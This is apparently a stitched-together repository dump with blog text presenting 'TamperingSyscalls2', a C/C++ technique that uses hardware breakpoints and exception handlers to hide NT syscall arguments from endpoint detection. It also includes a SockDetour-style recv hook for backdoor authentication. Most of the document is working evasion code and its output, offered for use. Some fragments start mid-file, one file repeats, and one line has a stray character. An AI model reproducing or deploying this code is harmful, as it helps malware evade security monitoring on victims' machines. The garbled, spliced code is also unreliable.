RemoveHWBPS(); } }; ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [syscall_instr, ai] : ADDRESS_MAP) { // check we are inside valid syscall instructions if ((address >= syscall_instr) && (address <= ai.return_addr)) { printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr); printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr); if (address == syscall_instr) // mov r10, rcx { const auto key = (address + 0x12) | GetCurrentThreadId(); SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx; SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx; SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8; SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; SYSCALL_MAP[key].stk[idx] = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset); } PRINT_ARGS("HIDING", ExceptionInfo); ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->Rdx = 0; ExceptionInfo->ContextRecord->R8 = 0; ExceptionInfo->ContextRecord->R9 = 0; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull; } PRINT_ARGS("HIDDEN", ExceptionInfo); ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag } else if (address == ai.syscall_addr) { auto const key = (address | GetCurrentThreadId()); // SSN in ExceptionInfo->ContextRecord->Rax // mov rcx, r10 ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx; ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8; ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = SYSCALL_MAP[key].stk[idx]; } PRINT_ARGS("RESTORED", ExceptionInfo); SYSCALL_MAP.erase(key); } else if (address == ai.return_addr) { ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag return EXCEPTION_CONTINUE_EXECUTION; } ExceptionInfo->ContextRecord->EFlags |= (1 << 8); // Trap Flag return EXCEPTION_CONTINUE_EXECUTION; } } } return EXCEPTION_CONTINUE_SEARCH; } ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler); TS2_HWBP TS2NtCreateThreadEx{ (uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateThreadEx")), 0 }; for (unsigned int i = 0; i < 2; ++i) { HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr); if (t) WaitForSingleObject(t, INFINITE); } TS2NtCreateThreadEx.RemoveHWBPS(); if (handler != nullptr) RemoveVectoredExceptionHandler(handler); } DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n"); TS2_HWBP TS2NtCreateMutant{ (uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateMutant")), 0 }; HANDLE m = CreateMutexA(NULL, TRUE, "rad98"); if (m) CloseHandle(m); return 0; } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ``` Here is an example output, showing the arguments for NtCreateThreadEx being hidden. ``` 0x00007FFBDF485400 >= 0x00007FFBDF485400 0x00007FFBDF485400 <= 0x00007FFBDF485414 HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc 1: 0x0000000000000000 2: 0x0000000000000000 3: 0x0000000000000000 4: 0x0000000000000000 5: 0x0000000000000000 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x0000000000000000 12: 0x0000000000000000 0x00007FFBDF485403 >= 0x00007FFBDF485400 0x00007FFBDF485403 <= 0x00007FFBDF485414 0x00007FFBDF485408 >= 0x00007FFBDF485400 0x00007FFBDF485408 <= 0x00007FFBDF485414 0x00007FFBDF485410 >= 0x00007FFBDF485400 0x00007FFBDF485410 <= 0x00007FFBDF485414 0x00007FFBDF485412 >= 0x00007FFBDF485400 0x00007FFBDF485412 <= 0x00007FFBDF485414 RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc 1: 0x00000062618FF8D8 2: 0x00000000001FFFFF 3: 0x0000000000000000 4: 0xFFFFFFFFFFFFFFFF 5: 0x00007FF79FB01FA0 6: 0x0000000000000000 7: 0x0000000000000000 8: 0x0000000000000000 9: 0x0000000000000000 10: 0x0000000000000000 11: 0x00000062618FF9F0 12: 0x000001C700000000 0x00007FFBDF485414 >= 0x00007FFBDF485400 0x00007FFBDF485414 <= 0x00007FFBDF485414 ----TestThread---- [...] ``` TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7 TamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6 TamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9 The code shared should work for most syscalls, though you should test before usage. The the only major limitation in the works presented is a dependency on hashmaps (std::unordered_map); this internally will call various native functions indirectly, such as NtAllocateVirtualMemory, preventing us from hooking them. This can be repurposed to work with x86 with minimal effort. In the future, you could modify the libraries to utilize single stepping, as shown in the last example. You would need to know when you want to stop single-stepping (an address or range) and do it as such. This can also be used for the PAGE_GUARD hooking. You could also replace `AddVectoredExceptionHandler` with: `SetUnhandledExceptionFilter(ExceptionHandler);` References: [1] [https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler](https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler) [2] [https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) [3] [https://unit42.paloaltonetworks.com/sockdetour/](https://unit42.paloaltonetworks.com/sockdetour/) [4] [https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/](https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/) [5] [https://fool.ish.wtf/2022/08/tamperingsyscalls.html](https://fool.ish.wtf/2022/08/tamperingsyscalls.html) [6] [https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) With all that, I look to ending on a positive note; I hope you have understood the RAW UNMATCHED power of hardware breakpoints!!! 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\ PRINT("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx); \ PRINT("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx); \ PRINT("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8); \ PRINT("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9); \ for (UINT idx = 0; idx < STK_ARGS; idx++){ \ const size_t offset = idx * 0x8 + 0x28; \ PRINT("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64) \ ((ExceptionInfo)->ContextRecord->Rsp + offset)); \ } ////////////////////////////////////////////////////////////////////////////////////////// /* Typedefs */ ////////////////////////////////////////////////////////////////////////////////////////// typedef struct { uintptr_t rcx; // First uintptr_t rdx; // Second uintptr_t r8; // Third uintptr_t r9; // Fourth uintptr_t rsp[STK_ARGS]; // Stack args } function_args; typedef struct { function_args function_args; uintptr_t function_address; uintptr_t sys_call_address; DWORD key_thread_id_val; UINT debug_register_pos; } sys_call_descriptor; ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// sys_call_descriptor sys_call_descriptors[MAX_DEBUG_REGISTERS]; CRITICAL_SECTION g_critical_section; ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// /* * Function: exception_handler * ----------------------------------------- * sys_call handler required to save and modify the arguments to syscall * instructions * * Registered by init_tampering_sys_call * */ LONG WINAPI exception_handler(const PEXCEPTION_POINTERS ExceptionInfo) { const uintptr_t exception_address = ExceptionInfo->ContextRecord->Rip; if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { BOOL resolved = FALSE; EnterCriticalSection(&g_critical_section); for (size_t i = 0; i < MAX_DEBUG_REGISTERS; i++) { if (exception_address == sys_call_descriptors[i].function_address) { (&ExceptionInfo->ContextRecord->Dr0)[sys_call_descriptors[i].\ debug_register_pos] = sys_call_descriptors[i].sys_call_address; sys_call_descriptors[i].function_args.rcx = ExceptionInfo->ContextRecord->Rcx; sys_call_descriptors[i].function_args.rdx = ExceptionInfo->ContextRecord->Rdx; sys_call_descriptors[i].function_args.r8 = ExceptionInfo->ContextRecord->R8; sys_call_descriptors[i].function_args.r9 = ExceptionInfo->ContextRecord->R9; for (unsigned j = 0; j < STK_ARGS; j++) { const size_t offset = j * 0x8 + 0x28; sys_call_descriptors[i].function_args.rsp[j] = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset); } PRINT_ARGS("HIDING", ExceptionInfo, exception_address); ExceptionInfo->ContextRecord->Rcx = 0ull; ExceptionInfo->ContextRecord->Rdx = 0ull; ExceptionInfo->ContextRecord->R8 = 0ull; ExceptionInfo->ContextRecord->R9 = 0ull; memset( (PVOID)(ExceptionInfo->ContextRecord->Rsp + 0x28), 0, STK_ARGS * sizeof(uintptr_t) ); PRINT_ARGS("HIDDEN", ExceptionInfo, exception_address); resolved = TRUE; } else if (exception_address == sys_call_descriptors[i].sys_call_address) { (&ExceptionInfo->ContextRecord->Dr0)[sys_call_descriptors[i].\ debug_register_pos] = sys_call_descriptors[i].function_address; ExceptionInfo->ContextRecord->R10 = sys_call_descriptors[i].function_args.rcx; ExceptionInfo->ContextRecord->Rdx = sys_call_descriptors[i].function_args.rdx; ExceptionInfo->ContextRecord->R8 = sys_call_descriptors[i].function_args.r8; ExceptionInfo->ContextRecord->R9 = sys_call_descriptors[i].function_args.r9; for (unsigned j = 0; j < STK_ARGS; j++) { const size_t offset = j * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = sys_call_descriptors[i].function_args.rsp[j]; } PRINT_ARGS("RESTORED", ExceptionInfo, exception_address); resolved = TRUE; } if (resolved) break; } LeaveCriticalSection(&g_critical_section); if (resolved) { ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } ////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// uintptr_t find_gadget( const uintptr_t function, const BYTE* stub, const UINT size ) { for (unsigned int i = 0; i < 25u; i++) { if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return 0ull; } /* * Function: set_hardware_breakpoint * --------------------------------- * sets/removes a hardware breakpoint in the specified debug register for a specific * function address * * thd: A handle to the thread (GetCurrentThread) * address: address of function to point a debug register towards * pos: Dr[0-3] * init: TRUE (Sets)/FALSE (Removes) * */ void set_hardware_breakpoint( const HANDLE thd, const uintptr_t address, const UINT pos, const BOOL init ) { BOOL modified = FALSE; CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); modified = TRUE; } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = 0ull; modified = TRUE; } } if (modified) { SetThreadContext(thd, &context); } } /* * Function: clear_sys_call_descriptor_entry * ----------------------------------------- * Zeroes out the parameters of a sys_call_descriptor * * sys_call_descriptor: pointer to sys_call_descriptor * */ void clear_sys_call_descriptor_entry( sys_call_descriptor* p_sys_call_descriptor ) { memset( p_sys_call_descriptor, 0, sizeof(sys_call_descriptor) ); } /* * Function: init_tampering_sys_call * --------------------------------- * initializes the structures and globals required * * returns: handler to the exception handler (can be removed with * RemoveVectoredExceptionHandler. * */ PVOID init_tampering_sys_call( void ) { const PVOID handler = AddVectoredExceptionHandler(1, exception_handler); InitializeCriticalSection(&g_critical_section); for (size_t i = 0; i < MAX_DEBUG_REGISTERS; i++) { clear_sys_call_descriptor_entry(&sys_call_descriptors[i]); } return handler; } /* * Function: un_init_tampering_sys_call * --------------------------------- * Un-initializes the structures and globals required and disables * all currently enabled hardware breakpoints pertaining to tampering * sys_calls. * */ void un_init_tampering_sys_call( const PVOID handler ) { EnterCriticalSection(&g_critical_section); for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++) { if (sys_call_descriptors[i].function_address != 0 && sys_call_descriptors[i].key_thread_id_val != 0) { HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, sys_call_descriptors[i].key_thread_id_val); set_hardware_breakpoint( thd, sys_call_descriptors[i].function_address, sys_call_descriptors[i].debug_register_pos, FALSE ); if (thd != INVALID_HANDLE_VALUE) { CloseHandle(thd); } clear_sys_call_descriptor_entry(&sys_call_descriptors[i]); break; } } LeaveCriticalSection(&g_critical_section); RemoveVectoredExceptionHandler(handler); DeleteCriticalSection(&g_critical_section); } /* * Function: set_tampering_sys_call * -------------------------------- * sets the hardware breakpoint, and adds the required entries to global * structures * * nt_function_address: & of NT function * pos: Debug register position (0-3) * */ void set_tampering_sys_call( const uintptr_t nt_function_address, const UINT pos ) { const UINT idx = pos % 4; const BYTE sys_call_op_code[] = { 0x0F, 0x05 }; const uintptr_t nt_sys_call_address = find_gadget(nt_function_address, sys_call_op_code, 2); // Perform only required work when inside critical section. EnterCriticalSection(&g_critical_section); for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++) { if (sys_call_descriptors[i].function_address == 0) { sys_call_descriptors[i].function_address = nt_function_address; sys_call_descriptors[i].sys_call_address = nt_sys_call_address; sys_call_descriptors[i].debug_register_pos = idx; sys_call_descriptors[i].key_thread_id_val = GetCurrentThreadId(); break; } } LeaveCriticalSection(&g_critical_section); set_hardware_breakpoint( GetCurrentThread(), nt_function_address, idx, TRUE ); } /* * Function: remove_tampering_sys_call * ----------------------------------- * Destroys all objects and debug registers set during init or use. * * nt_function_address: & of NT function * pos: Debug register position (0-3) * */ void remove_tampering_sys_call( const uintptr_t nt_function_address, const UINT pos ) { EnterCriticalSection(&g_critical_section); for (unsigned int i = 0; i < MAX_DEBUG_REGISTERS; i++) { if (sys_call_descriptors[i].function_address == nt_function_address && sys_call_descriptors[i].key_thread_id_val == GetCurrentThreadId()) { clear_sys_call_descriptor_entry(&sys_call_descriptors[i]); break; } } LeaveCriticalSection(&g_critical_section); set_hardware_breakpoint( GetCurrentThread(), nt_function_address, pos % 4, FALSE ); } DWORD WINAPI test_thread( LPVOID lp_parameter ) { PRINT("---- New Thread ----\n"); set_tampering_sys_call( (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateMutant"), 1 ); HANDLE m = CreateMutexA(NULL, TRUE, "rad98"); if (m) CloseHandle(m); // Not really needed as thread returns, but it's good practice. remove_tampering_sys_call( (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateMutant"), 1 ); return 0; } ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = init_tampering_sys_call(); HANDLE t = NULL; set_tampering_sys_call( (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateThreadEx"), 0 ); for (unsigned i = 0; i < 2; i++) { t = CreateThread(NULL, 0, test_thread, NULL, 0, NULL); if (t) WaitForSingleObject(t, INFINITE); } remove_tampering_sys_call( (uintptr_t)GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateThreadEx"), 0 ); un_init_tampering_sys_call(handler); } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ================================================ FILE: TamperingSyscalls2.cpp ================================================ ////////////////////////////////////////////////////////////////////////////////////////// /* TamperingSyscalls2.cpp - @rad9800 c++20 */ /* C++ Generic x64 user-land evasion technique utilizing HWBP.cpp */ /* Hides up to 12 args of up to 4 NT calls per thread */ ////////////////////////////////////////////////////////////////////////////////////////// #include #include #include ////////////////////////////////////////////////////////////////////////////////////////// /* Structs */ ////////////////////////////////////////////////////////////////////////////////////////// // 12 - 4 = 8 - should cover most Nt functions. #define STK_ARGS 8 // Increase this value, works until ~100... typedef struct { uintptr_t function_addr; // +0x0 uintptr_t syscall_addr; // +0x12 UINT pos; } ADDRESS_INFORMATION; typedef struct { uintptr_t Rcx; // First uintptr_t Rdx; // Second uintptr_t R8; // Third uintptr_t R9; // Fourth uintptr_t stk[STK_ARGS]; // Stack args } FUNC_ARGS; ////////////////////////////////////////////////////////////////////////////////////////// /* Macros */ ////////////////////////////////////////////////////////////////////////////////////////// #define PRINT_ARGS( State, ExceptionInfo ) \ printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n", \ State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId()); \ printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx); \ printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx); \ printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8); \ printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9); \ for (UINT idx = 0; idx < STK_ARGS; idx++){ \ const size_t offset = idx * 0x8 + 0x28; \ printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64) \ ((ExceptionInfo)->ContextRecord->Rsp + offset)); \ } ////////////////////////////////////////////////////////////////////////////////////////// /* Globals */ ////////////////////////////////////////////////////////////////////////////////////////// std::unordered_map ADDRESS_MAP{ 0 }; // syscall opcode { 0x55 } address, func args in registers and stack std::unordered_map SYSCALL_MAP{ 0 }; ////////////////////////////////////////////////////////////////////////////////////////// /* Functions */ ////////////////////////////////////////////////////////////////////////////////////////// VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init) { CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context); if (init) { (&context.Dr0)[pos] = address; context.Dr7 &= ~(3ull << (16 + 4 * pos)); context.Dr7 &= ~(3ull << (18 + 4 * pos)); context.Dr7 |= 1ull << (2 * pos); } else { if ((&context.Dr0)[pos] == address) { context.Dr7 &= ~(1ull << (2 * pos)); (&context.Dr0)[pos] = NULL; } } SetThreadContext(thd, &context); } // Find our ret ROP gadget (pointer decay so need explicit size) uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size) { for (unsigned int i = 0; i < (unsigned int)25; i++) { // memcmp WILL be optimized if (memcmp((LPVOID)(function + i), stub, size) == 0) { return (function + i); } } return NULL; } DWORD WINAPI TestThread(LPVOID lpParameter); ////////////////////////////////////////////////////////////////////////////////////////// /* Classes */ ////////////////////////////////////////////////////////////////////////////////////////// struct TS2_HWBP { private: const uintptr_t address; UINT pos; public: TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address }, pos{ idx % 4 } { SetHWBP(GetCurrentThread(), address, pos, true); BYTE syscop[] = { 0x0F, 0x05 }; ADDRESS_MAP[address].syscall_addr = FindRopAddress(address, syscop, sizeof(syscop)); ADDRESS_MAP[address].function_addr = address; ADDRESS_MAP[address].pos = pos; }; VOID RemoveHWBPS() { SetHWBP(GetCurrentThread(), address, pos, false); } ~TS2_HWBP() { RemoveHWBPS(); } }; ////////////////////////////////////////////////////////////////////////////////////////// /* Exception Handler */ ////////////////////////////////////////////////////////////////////////////////////////// LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo) { const auto address = ExceptionInfo->ContextRecord->Rip; printf("Exception: 0x%llx\n", address); if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { for (const auto& [k, v] : ADDRESS_MAP) { if (address == v.function_addr) // mov r10, rcx { // Set Dr[pos] to address+0x12 (&ExceptionInfo->ContextRecord->Dr0)[v.pos] = v.syscall_addr; const auto key = (address + 0x12) | GetCurrentThreadId(); SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx; SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx; SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8; SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; SYSCALL_MAP[key].stk[idx] = *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset); } PRINT_ARGS("HIDING", ExceptionInfo); ExceptionInfo->ContextRecord->Rcx = 0; ExceptionInfo->ContextRecord->Rdx = 0; ExceptionInfo->ContextRecord->R8 = 0; ExceptionInfo->ContextRecord->R9 = 0; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull; } PRINT_ARGS("HIDDEN", ExceptionInfo); ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag return EXCEPTION_CONTINUE_EXECUTION; } else if (address == v.syscall_addr) { // Set Dr[pos] to address-0x12 (&ExceptionInfo->ContextRecord->Dr0)[v.pos] = v.function_addr; auto const key = (address | GetCurrentThreadId()); // SSN in ExceptionInfo->ContextRecord->Rax // mov rcx, r10 ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx; ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx; ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8; ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9; for (size_t idx = 0; idx < STK_ARGS; idx++) { const size_t offset = idx * 0x8 + 0x28; *(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = SYSCALL_MAP[key].stk[idx]; } PRINT_ARGS("RESTORED", ExceptionInfo); SYSCALL_MAP.erase(key); ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag return EXCEPTION_CONTINUE_EXECUTION; } } } return EXCEPTION_CONTINUE_SEARCH; } ////////////////////////////////////////////////////////////////////////////////////////// /* Entry */ ////////////////////////////////////////////////////////////////////////////////////////// int main() { const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler); TS2_HWBP TS2NtCreateThreadEx{ (uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateThreadEx")), 1 }; for (unsigned int i = 0; i < 2; ++i) { HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr); if (t) WaitForSingleObject(t, INFINITE); } TS2NtCreateThreadEx.RemoveHWBPS(); if (handler != nullptr) RemoveVectoredExceptionHandler(handler); } DWORD WINAPI TestThread(LPVOID lpParameter) { UNREFERENCED_PARAMETER(lpParameter); printf("\n----TestThread----\n\n"); TS2_HWBP TS2NtCreateMutant{ (uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"), "NtCreateMutant")), 1 }; HANDLE m = CreateMutexA(NULL, TRUE, "rad98"); if (m) CloseHandle(m); return 0; } ////////////////////////////////////////////////////////////////////////////////////////// /* EOF */ ////////////////////////////////////////////////////////////////////////////////////////// ================================================ FILE: recvHook.cpp ================================================ HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"), GetModuleHandle(L"WS2_32.dll")),"recv"), 3, ([&](PEXCEPTION_POINTERS ExceptionInfo) { for (auto& i : ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, false); } } char verbuf[9]{ 0 }; int verbuflen{ 9 }, recvlen{ 0 }; recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf, verbuflen, MSG_PEEK); BYTE TLS[] = { 0x17, 0x03, 0x03 }; if (recvlen >= 3) { if ((memcmp(verbuf, TLS, 3) == 0))1 { MSG_AUTH msg{ 0 }; // We'll peek like SockDetour as to not eat the message recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg, sizeof(MSG_AUTH), MSG_PEEK); // Authenticate and proceed } } // Set corresponding Dr for (auto& i : ADDRESS_MAP) { if (i.first == ExceptionInfo->ContextRecord->Rip) { SetHWBP(GetCurrentThread(), i.first, i.second.pos, true); } } ExceptionInfo->ContextRecord->EFlags |= (1 << 16); }) };